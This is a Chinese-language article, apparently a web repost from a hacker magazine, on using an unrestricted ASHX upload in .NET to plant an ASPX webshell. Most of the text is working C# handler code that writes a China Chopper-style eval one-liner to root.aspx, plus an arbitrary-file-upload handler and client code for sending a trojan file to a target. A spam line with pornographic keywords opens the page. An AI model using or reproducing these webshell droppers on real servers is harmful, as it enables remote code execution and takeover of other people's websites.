自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

揭穿黑客關(guān)于Ashx腳本寫aspx木馬的方法匯總

安全 黑客攻防 應(yīng)用安全
.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運(yùn)行,提示Asmx腳本只能在本地運(yùn)行,于是打算先傳個Ashx腳本然后在當(dāng)前目錄下生成Aspx文件(目標(biāo)不能執(zhí)行Asp文件)。

.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運(yùn)行,提示Asmx腳本只能在本地運(yùn)行,于是打算先傳個Ashx腳本然后在當(dāng)前目錄下生成Aspx文件(目標(biāo)不能執(zhí)行Asp文件),網(wǎng)上找到如下Ashx代碼:

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.       
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.            
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

我將腳本中的Asp一句話改成菜刀的Aspx一句話~不過執(zhí)行的時候爆錯,說未知指令@Page。遂采用一下2種方式解決:

1,用String連接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.        
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";   
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write(show);   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

2.比較笨的方法,看代碼吧

  1. <%@ WebHandler Language="C#" Class="Uploader" %>   
  2. using System;   
  3. using System.IO;   
  4. using System.Web;      
  5.    
  6. public class Uploader : IHttpHandler   
  7. {   
  8.     public void ProcessRequest(HttpContext hc)   
  9.     {   
  10.         foreach (string fileKey in hc.Request.Files)   
  11.         {   
  12.             HttpPostedFile file = hc.Request.Files[fileKey];   
  13.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));   
  14.         }   
  15.     }      
  16.    
  17.     public bool IsReusable   
  18.     {   
  19.         get { return true; }   
  20.     }   
  21. }  

然后用VS建立WinForm程序~主函數(shù)里寫:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.x#/Uploader.ashx", "POST", "C:\\ma.aspx");

執(zhí)行就可以了~以上方法均測試成功~

責(zé)任編輯:藍(lán)雨淚 來源: 黑客x檔案
相關(guān)推薦

2011-03-14 10:19:43

2010-09-07 09:33:20

2009-06-26 16:05:51

云計算

2009-06-28 21:34:22

云計算IT虛擬機(jī)

2011-03-14 10:10:01

2010-09-08 16:00:31

2019-11-07 23:48:12

shell腳本getopts

2018-03-06 14:00:44

超融合基礎(chǔ)架構(gòu)

2010-08-24 11:54:46

2009-10-30 10:51:50

2010-09-03 11:35:50

2022-04-13 12:09:07

黑客木馬網(wǎng)絡(luò)攻擊

2010-09-08 15:50:15

2009-06-01 09:34:22

2023-08-15 14:09:38

DevOps開發(fā)人員運(yùn)維

2018-10-14 15:37:27

機(jī)器學(xué)習(xí)數(shù)據(jù)算法

2009-11-09 20:28:28

福布斯富豪榜黑客傳播木馬

2009-04-10 11:28:02

2010-07-27 12:10:17

2010-07-22 15:45:45

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號